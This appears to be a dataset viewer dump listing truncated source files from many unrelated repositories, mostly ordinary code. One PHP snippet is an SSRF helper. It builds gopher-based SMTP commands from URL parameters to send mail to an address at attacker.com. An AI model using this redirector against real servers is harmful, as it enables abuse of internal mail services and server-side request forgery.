text stringlengths 27 775k |
|---|
library fluent_validation_flutter;
export 'src/validators/notEmptyValidator.dart';
export 'src/validators/notEqualValidator.dart';
export 'src/validators/equalValidator.dart';
export 'src/validators/lengthValidator.dart';
export 'src/validators/wrappingValidator.dart';
export 'src/validators/abstractValidator.dart';
e... |
#!/usr/bin/perl
# TODO: We need to make this more resilient
# currently expects args without enforcing
$FIL = $NAM = $SEC = @ARGV[0];
$NAM =~ s/^([^.]+)\..+$/$1/;
$SEC =~ s/^.+\.([^.]+)$/$1/;
$command = "groff";
@args = split(" ", "-Tascii -mdoc $FIL");
$enable_include_links = 0;
man($NAM, $SEC);
sub ... |
package fr.imie.emanagerws;
import org.junit.AfterClass;
import org.junit.BeforeClass;
import org.junit.runner.RunWith;
import org.junit.runners.Suite;
import org.junit.runners.Suite.SuiteClasses;
import fr.imie.emanagerws.service.ServiceTest;
@RunWith(Suite.class)
@SuiteClasses ({ServiceTest.class})
public class Ap... |
select c_date, COUNT(DISTINCT c_integer) from alltypes group by c_date order by c_date, COUNT(DISTINCT c_integer) desc;
|
import { Action } from '@ngrx/store'
export const ADD_MARKER = '[Map] Add Marker'
export const HIDE_MARKER = '[Map] Hide Marker'
export const SHOW_MARKER = '[Map] Show Marker'
export class AddMarker implements Action {
readonly type = ADD_MARKER
constructor(public payload: any){}
}
export class HideMarker im... |
<?php
/**
* media_paste_upload Addon.
* @author Friends Of REDAXO
* @package redaxo
* @var rex_addon $this
*/
require rex_be_controller::getCurrentPageObject()->getSubPath();
|
using Godot;
public interface IHaveSize
{
Vector2 size { get; }
Vector2 Position { get; }
Vector2 GlobalPosition { get; }
} |
package com.disney.studios.titlemanager.util
import com.disney.studios.titlemanager.document.ChildTitle
import com.disney.studios.titlemanager.document.Season
import com.disney.studios.titlemanager.document.Title
import com.disney.studios.titlemanager.document.TvSeries
import com.disney.studios.titlemanager.repository... |
---
layout: post
title: 블로그 시작
date: 2019-07-27 01:08:00 +0800
categories: etc
tag: etc
sitemap :
changefreq : daily
priority : 1.0
---
안녕하세요, 저는 개발 좋아하는 ttkmw라고 합니다.
19년 7월 27일 블로그를 시작한 기념으로 글을 씁니다.
앞으로 컴퓨터 과학, 개발하면서 겪은 이슈들, 기타 공부한 내용을 남길 예정입니다.
많이 읽어주세요.
감사합니다.
|
module Chapter2.Chapter2 where
double x = x + x
quadruple x = double(double x)
factorial n = product[1..n]
average ns = sum ns `div` length ns
n = a `div` length xs
where a = 10
xs = [1, 2, 3, 4, 5]
last1 :: [a] -> a
last1 [x] = x
last1 (x : xs) = last1 xs
last2 :: [a] -> a
last2 xs = xs !! (length... |
# System.Web
``` diff
namespace System.Web {
+ public enum ApplicationShutdownReason {
+ BinDirChangeOrDirectoryRename = 6,
+ BrowsersDirChangeOrDirectoryRename = 7,
+ BuildManagerChange = 15,
+ ChangeInGlobalAsax = 2,
+ ChangeInSecurityPolicyFile = 5,
+ CodeDirChangeOrDir... |
package handler
import io.kotlintest.matchers.*
import io.kotlintest.specs.*
import su.jfdev.anci.event.handler.*
import su.jfdev.test.matchers.*
import java.util.*
class ObjectHandleSpec: FreeSpec() {
init {
"should find all listeners by EventHandler" - {
val list = ArrayList<Any>()
... |
import { FusionChartStatic } from "fusioncharts";
declare namespace Lyon {}
declare var Lyon: (H: FusionChartStatic) => FusionChartStatic;
export = Lyon;
export as namespace Lyon;
|
package org.kwicket.wicket.core.queued
import org.apache.wicket.MarkupContainer
import org.apache.wicket.Page
import org.apache.wicket.behavior.Behavior
import org.apache.wicket.feedback.IFeedbackMessageFilter
import org.apache.wicket.markup.html.form.upload.FileUpload
import org.apache.wicket.markup.html.form.validat... |
namespace ChannelNineEventFeed.WPF.Converters
{
public enum VisibilityConverterMode
{
VisibleIfTrue,
VisibleIfNotTrue,
VisibleIfStringEmpty,
VisibleIfNotStringEmpty
}
}
|
require 'rspec'
describe "Your code" do
[['solution::code']]
{
fixnum: Fixnum,
bignum: Bignum,
float: Float,
rational: Rational,
complex: Complex
}.each do |variable, class_name|
it "defines a variable with name \"#{variable}\"" do
expect(local_variables.include?(variable))... |
docker build -t local_telegraf -f scripts/alpine.docker .
docker-compose -f plugins/inputs/kibana/test_environment/docker-compose.yml up
|
#!/usr/bin/env bash
# Exit immediately if any step fails.
set -e
# Echo each command.
set -v
THIS_DIR="$(cd $(dirname $0) &>/dev/null && pwd && cd - &>/dev/null)"
# Install oh-my-zsh.
if [ ! -d "${HOME}/.oh-my-zsh" ]; then
echo "Installing oh-my-zsh"
# See: https://github.com/ohmyzsh/ohmyzsh#unattended-inst... |
package rest.client;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
@SpringBootApplication
public class ReliantDemoApplication {
private static SpringApplicationBuilder build... |
<?php
#?proto=gopher&ip=0&port=25&domain=domain.com&to=email@attacker.com&code=301
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
$commands = array(
'HELO '.$_GET["domain"],
'MAIL FROM: <admin@'.$_GET["domain"].'>',
'RCPT To: <'.$_GET["to"].'>',
'D... |
package eu.openeo.dao;
import java.io.IOException;
import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
import org.json.JSONObject;
import com.fasterxml.jackson.core.JsonGenerator;
import com.fasterxml.jackson.databind.SerializerProvider;
import com.fasterxml.jackson.databind.ser.std.St... |
import request from 'axios'
export function MovieList (data) {
return request({
url: 'movies/data',
method: 'get',
data
})
}export function NextPage (data) {
return request({
url: `movies/data?p=${this.p}`,
method: 'get',
data
})
}
|
# Over The Theory
***Simple and accessible Overwatch theory crafting tools***
Show your latest strategies by accessing top-view of each map and the full champion list.
Accessible at the following address : [loxy-dev.github.io/OverTheTheory](https://loxy-dev.github.io/OverTheTheory)
The Website is currently on a very ... |
# MyFirstTrialWebApp2018
Try out what I picked up from the "WebesToDoApp2018". Just to play around and practice.
|
<?php
//This file cannot be called directly, only included.
if (str_replace(DIRECTORY_SEPARATOR, "/", __FILE__) == $_SERVER['SCRIPT_FILENAME']) {
exit;
}
|
# frozen_string_literal: true
RSpec.describe Fear::Extractor do
describe ".register_extractor" do
Foo = ::Struct.new(:v1, :v2)
let(:matcher) do
Fear.matcher do |m|
m.case(Fear["Foo(43, second : Integer)"]) { |second| "43 and #{second}" }
m.case(Fear["Foo(42, second : Integer)"]) { |seco... |
# frozen_string_literal: true
APISchemas["v1/notes.yaml"][:note] = {
description: "Note with user and descendants",
type: "object",
allOf: [
{ "$ref": "#/components/schemas/note_basic" },
],
properties: {
descendants: { "$ref": "#/components/schemas/note_descendants" },
user: { "$ref": "#/compone... |
function repeatedStringMatch (A: string, B: string): number {
};
|
#include <array>
#include "gtest/gtest.h"
#include "stout/flags.h"
#include "test/test.pb.h"
// On Windows there is no `setenv()` or `unsetenv()`.
// Instead we use `_putenv_s()` function.
#ifdef _WIN32
int setenv(
const char* env_name,
const char* env_value,
int replace) {
return _putenv_s(env_name, en... |
# Run a script that supposedly creates a new fake disk here.
# Now, synthesize a new set of channel maps
# First, create the necessary input files
run(`DJ_initialize.jl`)
# make plots of the structure
run(`DJ_plot_structure.jl`)
# run the synthesis
run(`DJ_synthesize_model.jl`)
# plot the channel maps
run(`DJ_plot_... |
/*
* Copyright (c) 2015-present, Jim Kynde Meyer
* All rights reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
package com.intellij.lang.jsgraphql.endpoint.lexer;
import java.io.IOException;
import java.nio.charset.Char... |
-module(ns_ssl_services_sup).
-behaviour(supervisor).
-include("ns_common.hrl").
-export([init/1, start_link/0,
stop_ssl_services/0, start_ssl_services/0]).
start_link() ->
supervisor:start_link({local, ?MODULE}, ?MODULE, []).
init([]) ->
{ok, {{rest_for_one,
misc:get_env_default(max_r,... |
create table ods.user_dim_local on cluster cluster
(
day Date comment '数据分区-天',
uid UInt32 default 0 comment 'uid',
platform String default '' comment '平台 android/ios',
country String default '' comment '国家',
province String default '' comment '省及直辖市',
isp String default '' comment '运营商',
app_version String def... |
---
layout: post
title: "Chrome-Dev-Tools Tip and Tricks"
date: 2016-07-14 15:00:00
categories: martin
tags: [chrome, computer, gif]
permalink: blog/:title
---
Here are some gifs I found on Imgur which I find useful. It's about cool features of Google Chrome Development tools.
<br>
<ul>
<li><a href="#switch">Switch... |
type pointerevents = 'down' | 'up';
const getElement = (el: Element, querySelector: string): HTMLElement | null =>
el.shadowRoot!.querySelector(querySelector);
const dispatchEvent = (
el: Element,
querySelector: string,
event: Event
): boolean | undefined => getElement(el, querySelector)?.dispatchEvent(event)... |
package com.iservport.chart.google
import scala.beans.BeanProperty
case class ChartArea
(
@BeanProperty left:Int=0,
@BeanProperty top:Int=20,
@BeanProperty width:String="90%",
@BeanProperty height:String="90%"
)
|
import { createCssSelectorForJson } from './css-selector-for-json';
let mockJsonString = `{"p1":1,"p2":"2","p3":{"p31":{"p32":"value32","p31":"strp32"}}}`;
function createSelector(str: string = mockJsonString) {
return createCssSelectorForJson(str);
}
describe('用于json的css选择器', () => {
it('初始化', () => {
... |
"use strict";
const MODULE_NAME = "angular-hal.resource";
import configuration from "../configuration/index";
import ResourceFactory from "./resource.factory";
import HalResourceClientFactory from "./hal-resource-client.factory";
// Add module for resource
angular
.module(MODULE_NAME, [configuration])
.factory(... |
namespace Lab4.Domain.Contracts
{
public interface IUserService
{
void AddUser(string id);
bool FindUser(string id);
}
}
|
package dic
import (
"testing"
)
func TestGetSuperDomain(t *testing.T) {
s := "www.example.com"
if e := "example.com"; getSuperDomain(s) != e {
t.Errorf("Failed getSuperDomain: %s", e)
}
}
|
$ErrorActionPreference = 'Stop'
Import-Module vm.common -Force -DisableNameChecking
try {
$toolName = "ComparePlugin"
$pluginsDir= Join-Path ${Env:ProgramFiles} "Notepad++\plugins" -Resolve
$toolDir = New-Item (Join-Path $pluginsDir $toolName) -itemtype directory
VM-Assert-Path $toolDir
$zipUrl= "h... |
#!/usr/bin/env node
/*!
* reco
* Copyright(c) 2017 Carlos Ascari Gutierrez Hermosillo
* All rights reserved
*/
const fs = require('fs-extra');
const async = require('async');
const minimist = require('minimist');
const chalk = require('chalk');
const onepath = require('onepath')();
const Reco = require('..');
const ... |
module ErgoDex.Contracts.Proxy.Typed.Deposit where
import qualified Prelude as Haskell
import Ledger
import qualified ErgoDex.Contracts.Proxy.Deposit as D
import ErgoDex.Contracts.Class
import ErgoDex.Contracts.Types
data DepositConfig = DepositConfig
{ poolNft :: Coin Nft
,... |
package hash
import (
"testing"
"github.com/stretchr/testify/assert"
)
func TestMD5(t *testing.T) {
assert.Equal(t, MD5("gocore"), "137c5840f84e21a0e55aa884f971a166")
}
func TestMD5File(t *testing.T) {
s, _ := MD5File("./test")
assert.Equal(t, s, "137c5840f84e21a0e55aa884f971a166")
}
|
import 'dart:io';
import 'package:agora_rtc_engine/rtc_engine.dart';
import 'package:flutter/services.dart';
import 'package:flutter_test/flutter_test.dart';
import 'package:integration_test/integration_test.dart';
import 'package:integration_test_app/main.dart' as app;
import 'agora_rtc_device_manager_api_smoke_test... |
package dev.enro
import dev.enro.annotations.NavigationDestination
import dev.enro.core.NavigationKey
import dev.enro.core.navigationHandle
import kotlinx.parcelize.Parcelize
@Parcelize
data class DefaultActivityKey(val id: String) : NavigationKey
@NavigationDestination(DefaultActivityKey::class)
class DefaultActivit... |
from __future__ import print_function
from __future__ import absolute_import
import errno
import os
def mkdir_p(path):
try:
os.makedirs(path)
except OSError as exc: # Python >2.5
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else:
raise
def init_di... |
# 界面列表
1. [Network(请求列表页面)](network.md)
1. [Composer(构造请求)](composer.md)
1. [Log(日志平台)](log.md)
1. [Rules(操作规则配置界面)](rules.md)
1. [Values(存放KeyValue的系统)](values.md)
1. [Plugins(插件列表页面)](plugins.md)
1. [WebSocket(WebSocket抓包功能)](websocket.md)
1. [Filter(设置Network请求列表的过滤条件)](filter.md)
1. [Settings(设置对话框)](settings.md)
... |
# Repository has been moved
It has been merged into https://github.com/clash-lang/clash-compiler.
|
var a00465 =
[
[ "KalmanFilter", "a00148.html", "a00148" ],
[ "KALMANFILTER_DEFAULT_FACTORIZATION", "a00465.html#a2575547a3cb9a99e7336a86103bb9889", null ]
]; |
# Package changelog for [optipng](https://chocolatey.org/packages/optipng)
## UPCOMING
- Migrated package to the core team repository
- Modernized and embedded the package
## Version: 0.7.5.20141004 (2014-10-04)
- Installation directory is now `$PSScriptDir` instead of `$env:ChocolateyBinRoot\OptiPNG`
|
FactoryBot.define do
factory :dimensions_month, class: "Dimensions::Month" do
end
end
|
import { nanoid } from 'nanoid'
import prettyMilliseconds from 'pretty-ms'
import CryptoRandomString from "../commonjs-libs/crypto-random-string"
import { Logger } from '../logger'
import { getTime } from "../util"
const log = Logger.getLogger("Crypto", "Token")
export class Token {
static generate() {
con... |
import 'package:built_redux/built_redux.dart';
import 'package:test/test.dart';
import 'collection_models.dart';
void main() {
group('collection reducer builders', () {
Store<Collection, CollectionBuilder, CollectionActions> store;
setUp(() {
store = Store<Collection, CollectionBuilder, CollectionAct... |
(:eval-when (:compile-toplevel :load-toplevel)
(ql:quickload :chirp))
(defpackage :coleslaw-twitter
(:use :cl)
(:import-from :coleslaw #:*config*
#:deploy
#:get-updated-files
#:find-content-by-path
#:title-of
... |
import * as fs from "fs";
import * as path from "path";
import * as grammar from "./src/grammar";
import * as generator from "./src/generator";
function main() {
const meow = require("meow");
// TODO: Replace meow with commander: https://github.com/tj/commander.js
const cli = meow(`
Usage
$ fbagen ... |
import 'package:flutter/material.dart';
import 'package:moor/moor.dart';
abstract class MainNavigation {
void goToSplash();
void goToLogin();
void goToHome();
void goToAddTodo();
void goToDebugPlatformSelector();
void goToLicense();
void closeDialog();
void goToDatabase(GeneratedDatabase db);
... |
#ifndef DOWNLOADER_H
#define DOWNLOADER_H
#include <QObject>
#include <QNetworkAccessManager>
namespace ntwk {
class Downloader;
extern QString DownloadPath;
}
/**
* @brief The ntwk::Downloader class
*/
class ntwk::Downloader : public QObject {
Q_OBJECT
public:
explicit Downloader(QObject *parent ... |
import React from 'react';
import { Formik } from 'formik';
import styled from '@emotion/styled';
const FormContainer = styled.div`
position: fixed;
top: 150px;
left: 200px;
background-color: white;
border-radius: 15px;
width: 400px;
height: 500px;
padding: 20px;
`;
const ButtonContainer = styled.div`... |
function ddot_22(T1, T2)
implicit none
type(Tensor2), intent(in) :: T1
type(Tensor2), intent(in) :: T2
real(kind=8) :: ddot_22
integer :: i,j
ddot_22 = 0.d0
do i = 1,3
do j = 1,3
ddot_22 = ddot_22 + T1%ab(i,j)*T2%ab(i,j)... |
namespace Leak.Common
{
public class Metainfo
{
private readonly FileHash hash;
private readonly MetainfoEntry[] entries;
private readonly MetainfoHash[] pieces;
private readonly MetainfoProperties properties;
public Metainfo(FileHash hash, MetainfoEntry[] entries, Meta... |
import { Flex, Grid } from "@chakra-ui/react"
import React from "react"
import CartItem from "./cart-item"
import Item from "./item"
export const confirmOrder = (
<Flex
textAlign="left"
py={2}
px={4}
borderWidth="1px"
borderRadius="lg"
h="250px"
>
<Grid templateColumns={`repeat(3, 1fr)`... |
using System.Collections.Generic;
using System.Linq;
using Application.Core;
using Application.Infrastructure.StudentManagement;
using Application.Infrastructure.SubjectManagement;
using LMPlatform.Models;
namespace LMPlatform.UI.ViewModels.ParentalViewModels
{
public class ParentalViewModel
{
private... |
package dev.schuberth.stan.exporters
import dev.schuberth.stan.model.Statement
import java.io.OutputStream
interface Exporter {
val extension: String
fun write(statement: Statement, output: OutputStream, options: Map<String, String> = emptyMap())
}
|
(ns modelo.parser
(:require [clj-by.example :refer [example do-for-example]]))
(def ^:private +examples-enabled+ true)
(defn mk-parser
"Create an empty parser."
[]
{:const {}
:extra []
:compound {}})
(do-for-example
(def ex-parser (atom (mk-parser))))
(declare parse-extra)
(defn parse
"Parses an e... |
package suhockii.dev.weather.navigation;
/**
* Created by alexander on 09/07/2017.
*/
public interface Command {
}
|
public class p003 {
public static void main(String[] args) {
System.out.println(new p003().run());
}
public String run() {
long n = 600851475143L;
while (true) {
long factor = Helpers.findSmallestFactor(n);
if (factor == n) {
return String.v... |
/*
The OpenTRV project licenses this file to you
under the Apache Licence, Version 2.0 (the "Licence");
you may not use this file except in compliance
with the Licence. You may obtain a copy of the Licence at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
softwar... |
from django.contrib import admin
from django.contrib.auth import get_user_model
from django.contrib.auth.models import Group
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from .models import Video, VideoOutput, Newsletter
admin.site.unregister(Group)
User = get_user_model()
class AccountAdmin(Bas... |
#!/bin/bash
set -e;
# a default non-root role
MONGO_NON_ROOT_ROLE="${MONGO_NON_ROOT_ROLE:-readWrite}"
echo ">>>>>>> Creating database and users..."
if [ -n "${MONGO_DATABASE_USERNAME:-}" ] && [ -n "${MONGO_DATABASE_PASSWORD:-}" ]; then
mongo -u $MONGO_INITDB_ROOT_USERNAME -p $MONGO_INITDB_ROOT_PASSWORD <<-EOF
db=d... |
mod hammingcounter;
use hammingcounter::HammingCounter;
fn main() {
for i in HammingCounter::new(0xff) {
println!("{:064b}", i);
// This would be a pain to generate all of the numbers first then loop through all of them,
// so here's proof that it's lazy-evaluated:
if i == 0x000ff... |
require 'statsample-glm/glm/mle/base'
module Statsample
module GLM
module MLE
# Logistic MLE estimation.
# See Statsample::Regression for methods to generate a logit regression.
# Usage:
#
# mle=Statsample::GLM::MLE::Logistic.new
# mle.newton_raphson(x,y)
# beta=... |
package com.soup.memo.guava.io;
import org.junit.Test;
/**
* @author zhaoyi
* @description CharSink
* @date 2019-05-01 09:35
**/
public class CharSinkTest {
/**
* CharSource --> Reader
* CharSink --> Writer
*/
@Test
public void testCharSink() {
}
}
|
// SPDX-License-Identifier: Apache-2.0
/*
* Code to manage and manipulate CPUs
*
* Copyright 2013-2019 IBM Corp.
*/
#include <skiboot.h>
#include <cpu.h>
#include <device.h>
#include <mem_region.h>
#include <opal.h>
#include <stack.h>
#include <trace.h>
#include <affinity.h>
#include <chip.h>
#include <timebase.h>... |
# frozen_string_literal: true
class Supplier < ApplicationRecord
has_many :supplier_locations
has_many :locations, through: :supplier_locations
has_many :subscriptions, dependent: :destroy
has_many :moves, dependent: :restrict_with_exception
# rubocop:disable Rails/UniqueValidationWithoutIndex
validates :... |
package grid
import (
"errors"
"sync"
"github.com/divan/goabm/abm"
)
type Grid struct {
mx sync.RWMutex
width, height, depth int
cells, cellsPrev []abm.Agent
nmx sync.RWMutex
}
type Point struct {
X, Y, Z int
Color int
}
func New(width, height, depth int) *Grid {
g := &Grid{
width... |
#ifndef CX_POINT_FRACTAL_H
#define CX_POINT_FRACTAL_H
#include <CPointFractal.h>
#include <CXLib.h>
#include <CXLibPixelRenderer.h>
class CXPointFractalRenderer;
class CXPointFractal : public CXWindow {
protected:
CPointFractalCalc *calc_;
CXLibPixelRenderer *renderer_;
CXPointFractalRenderer *frende... |
#!/bin/bash
[[ -d build ]] && rm -rf build
meson setup build
ninja -C build
./build/rofi -theme ~/.config/awesome/configuration/rofi/appmenu/drun.rasi -show drun
|
package eu.qm.fiszki.activity.myWords.flashcards;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.RecyclerView;
import android.support.v7.wi... |
#!/bin/bash
# Copyright xmuspeech (Author:Snowdar 2019-02-17)
f=1 # field of utt-id in id-file
exclude=false
force=false
share=true # if false, generate a copy of ark for out-vector-dir as a single dir but it will need some space.
scp_type=xvector.scp
. subtools/parse_options.sh
. subtools/path.sh
if [[ $# != 3 ]];... |
/* --- NODE MODULES --- */
import styled from "styled-components";
const UnorderedList = styled.ul`
list-style: none;
margin: 0 0 0.9rem 0 !important;
border-radius: var(--border-radius, 2px);
`;
export default UnorderedList;
|
/// <reference types="passport" />
import { Repository } from 'typeorm';
import { ProductDto } from './dto/Product.dto';
import { CommentDto } from './dto/comment.dto';
import { Product } from './entity/product.entity';
import { Comment } from './entity/comment.entity';
export declare class ProductService {
... |
import mess = require('mess');
var numbers: number[] = [1, 2, 3];
mess(numbers);
numbers = mess([2, 4, 6]);
|
from typing import Any, NamedTuple, Optional
from dagster.core.definitions.events import AssetKey
class ForeignAsset(NamedTuple):
"""A ForeignAsset represents an asset that is not generated by any Dagster op in the repository
that it's referenced from."""
key: AssetKey
metadata: Optional[Any] = None... |
package loshica.quiz.repository
import io.realm.mongodb.App
import io.realm.mongodb.mongo.iterable.MongoCursor
import loshica.quiz.model.Player
import loshica.vendor.LOSApp
import org.bson.Document
object PlayerRepository {
private val collection = AppRepository.Data.playersData
val data: MutableSet<Player>... |
{-# LANGUAGE CPP #-}
-- |
--
-- Module : Raaz.Core.Prelude
-- Copyright : (c) Piyush P Kurur, 2019
-- License : Apache-2.0 OR BSD-3-Clause
-- Maintainer : Piyush P Kurur <ppk@iitpkd.ac.in>
-- Stability : experimental
--
module Raaz.Core.Prelude ( module X
, module Prelude
... |
/**
* @file vector2.h
* @brief 2 dimensional vectors.
* @author Emmanuel Ruffio
* @date 2006-08-08
* @copyright Copyright (c) 2001-2017 Dream Overflow. All rights reserved.
* @details
*/
#ifndef _O3D_VECTOR2_H
#define _O3D_VECTOR2_H
#include "string.h"
#include "memorydbg.h"
#include <math.h>
#include "math.... |
/**
* \file flow-rs/src/loader/python/channel.rs
* MegFlow is Licensed under the Apache License, Version 2.0 (the "License")
*
* Copyright (c) 2019-2021 Megvii Inc. All rights reserved.
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
*... |
package controllers
import io.suggest.sec.util.Csrf
import io.suggest.util.logs.MacroLogsImplLazy
import javax.inject.Inject
import play.api.Environment
import play.api.mvc.Result
import util.acl.{IsSu, SioControllerApi}
import util.adv.direct.AdvRcvrsUtil
import util.img.DynImgUtil
import views.html.sys1.debug._
/*... |
using PhotoShare.Client.Core.Contracts;
using PhotoShare.Services.Contracts;
using System;
using System.Collections.Generic;
using System.Text;
namespace PhotoShare.Client.Core.Commands
{
public class LogoutCommand : ICommand
{
private readonly IUserSessionService userSessionService;
public L... |
import { getRandomNumber, randomArithmeticSign } from './lib';
const calc = (arithmeticSign, number1, number2) => {
switch (arithmeticSign) {
case '+':
return number1 + number2;
case '-':
return number1 - number2;
case '*':
return number1 * number2;
default:
throw Error(`don't... |
import java.util.PriorityQueue;
public class Solution {
public int kthSmallest(int[][] matrix, int k) {
PriorityQueue<Tuple> queue = new PriorityQueue<>();
for (int j = 0; j < matrix.length; j++) queue.offer(new Tuple(0, j, matrix[0][j]));
while (--k != 0) {
Tuple entry = queue... |
# frozen_string_literal: true
class RemovePdfFromLessonDocument < ActiveRecord::Migration
def change
remove_column :lesson_documents, :pdf
end
end
|
package engine
import "github.com/PioneerRobot/core"
// 对实际的引擎进行代理
type proxyAccessor struct {
proxy *simpleEngineWrapper
}
func (h *proxyAccessor) Global () core.Global {
return h.proxy.global
}
func (h *proxyAccessor) RootConfig () core.ConfigMap {
return h.proxy.rootConfig
}
func (h *proxyAccessor) ErrorMan... |
#!/bin/bash
file_name=$1
shift
pip3 install -r requirements.txt
PYTHONPATH="${PYTHONPATH}:$(pwd)"
export PYTHONPATH
python3 "./src/$file_name.py" "$@"
|
import * as types from 'actions/actionTypes';
import Posts from 'api/Posts';
/**
*
* @returns {{type: LOAD_POSTS_BEGIN}}
*/
export function postsLoadBegin() {
return {
type: types.LOAD_POSTS_BEGIN
};
}
/**
*
* @param posts
* @returns {{type: LOAD_POSTS_COMPLETE, posts: *}}
*/
export function postsLoadC... |
package uk.co.ben_gibson.git.link.url
import uk.co.ben_gibson.git.link.git.Commit
import uk.co.ben_gibson.git.link.git.File
import uk.co.ben_gibson.git.link.ui.LineSelection
import java.net.URL
sealed class UrlOptions(val baseUrl: URL)
class UrlOptionsCommit(baseUrl: URL, val commit: Commit) : UrlOptions(baseUrl)
c... |
convert_dataframe_to_tibble <- function(res) {
if (requireNamespace("tibble", quietly = TRUE)) {
res <- tibble::as_tibble(res)
}
res
}
|
/*
backgrid-select-all
http://github.com/wyuenho/backgrid
Copyright (c) 2013 Jimmy Yuen Ho Wong and contributors
Licensed under the MIT @license.
*/
(function (window, $, _, Backbone, Backgrid) {
/**
Renders a checkbox for row selection.
@class Backgrid.Extension.SelectRowCell
@extends Back... |
using System;
using LanguageExt.ClassInstances;
using Xunit;
using static LanguageExt.Prelude;
namespace LanguageExt.Tests.Transformer.Traverse.TryOptionT.Sync
{
public class TryOptionTryOption
{
[Fact]
public void FailIsSuccFail()
{
var ma = TryOption<TryOption<int>>(new Ex... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.